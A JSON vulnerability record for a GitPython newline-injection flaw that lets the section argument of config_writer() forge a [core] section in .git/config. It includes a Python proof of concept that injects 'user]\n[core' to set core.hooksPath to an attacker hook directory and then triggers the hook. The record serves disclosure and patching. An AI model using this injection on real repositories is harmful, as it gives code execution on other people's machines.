{"id":"CVE-2026-67326","aliases":["CVE-2026-67326","GHSA-mv93-w799-cj2w","PYSEC-2026-3980"],"related":[],"kind":"vulnerability","state":"published","title":"GitPython before 3.1.50 Newline Injection via config_writer section","summary":"GitPython before 3.1.50 fails to validate newline characters in the section parameter of config_writer(), allowing attackers to inject arbitrary section headers into .git/config. Attackers can inject newlines to create a forged [core] section with hooksPath pointing to attacker-controlled directories, achieving remote code execution when git hooks are triggered.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"GitPython before 3.1.50 fails to validate newline characters in the section parameter of config_writer(), allowing attackers to inject arbitrary section headers into .git/config. Attackers can inject newlines to create a forged [core] section with hooksPath pointing to attacker-controlled directories, achieving remote code execution when git hooks are triggered.","source":"cvelist"},{"lang":"en","text":"Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py — GitPython 3.1.49 (latest patched version)\n\n```python\n  def set_value(self, section: str, option: str, value) -> \"GitConfigParser\":\n      value_str = self._value_to_string_safe(value)   # only value is validated\n      if not self.has_section(section):\n          self.add_section(section)                    # section not validated\n      super().set(section, option, value_str)          # option not validated\n      return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n — two valid section headers — into .git/config.\n\nPoC\n\n```python\n  import git, os, subprocess\n\n  repo = git.Repo.init(\"/tmp/bypass_test\")\n\n  os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n  with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n      f.write(\"#!/bin/sh\\nid > /tmp/rce_proof.txt\\n\")\n  os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n  # Inject newline into section parameter (not value — already patched)\n  with repo.config_writer() as cw:\n      cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n  r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n                     capture_output=True, text=True)\n  print(r.stdout.strip())  # → /tmp/evil_hooks\n\n  subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n  print(open(\"/tmp/rce_proof.txt\").read())  # → uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.","format":"markdown","source":"ghsa"},{"lang":"es","text":"GitPython anterior a la versión 3.1.50 no valida correctamente los caracteres de nueva línea en el parámetro ’section’ de ’config_writer()’, lo que permite a los atacantes inyectar encabezados de sección arbitrarios en .git/config. Los atacantes pueden inyectar caracteres de nueva línea para crear una sección ’[core]’ falsificada con ’hooksPath’ apuntando a directorios controlados por el atacante, logrando la ejecución remota de código cuando se activan los ’git hooks’.","source":"nvd"}],"published":"2026-05-08T23:19:02.000Z","modified":"2026-10-23T23:10:00.157Z","severity":{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":7.3,"rating":"HIGH"},"severities":[{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":7.3,"rating":"HIGH"},{"scorer":"VulnCheck","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","score":7,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","score":7,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":7.8,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":7.8,"rating":"HIGH"}],"cwes":["CWE-20"],"affected":[{"ranges":[{"type":"semver","introduced":"0","fixed":"3.1.50","status":"affected"},{"type":"semver","version":"3.1.50","status":"unaffected"}],"vendor":"gitpython-developers","product":"GitPython","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"3.1.50"}],"ecosystem":"PyPI","package":"gitpython","purl":"pkg:pypi/gitpython","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"3.1.50"}],"vendor":"gitpython_project","product":"gitpython","cpe":"cpe:2.3:a:gitpython_project:gitpython:*:*:*:*:*:python:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"3.1.50"}],"ecosystem":"PyPI","package":"gitpython","purl":"pkg:pypi/gitpython","source":"pysec"}],"references":[{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w","tags":["evidence","exploit","vendor-advisory","web"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://www.vulncheck.com/advisories/gitpython-before-newline-injection-via-config-writer-section","tags":["advisory","third-party-advisory"],"sources":["cvelist","nvd","pysec"]},{"url":"https://github.com/advisories/GHSA-rpm5-65cw-6hj4","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/gitpython-developers/GitPython","tags":["package"],"sources":["ghsa"]}],"credits":["aslein1413-sys"],"assigner":"VulnCheck","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-08-04T00:00:00.000Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-67326","url":"https://www.cve.org/CVERecord?id=CVE-2026-67326","licence":"CVE Terms of Use","modified":"2026-08-14T16:50:54.075Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-mv93-w799-cj2w","url":"https://github.com/advisories/GHSA-mv93-w799-cj2w","licence":"CC-BY-4.0","modified":"2026-09-17T09:10:55.928Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-67326","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67326","licence":"Public domain","modified":"2026-10-23T23:10:00.157Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-3980","url":"https://osv.dev/vulnerability/PYSEC-2026-3980","licence":"CC-BY-4.0","modified":"2026-09-17T09:00:03.365Z"}],"updatedAt":"2026-11-25T22:59:30.790Z","epss":{"score":0.00426,"percentile":0.38824,"date":"2026-12-01T12:00:22.000Z"}}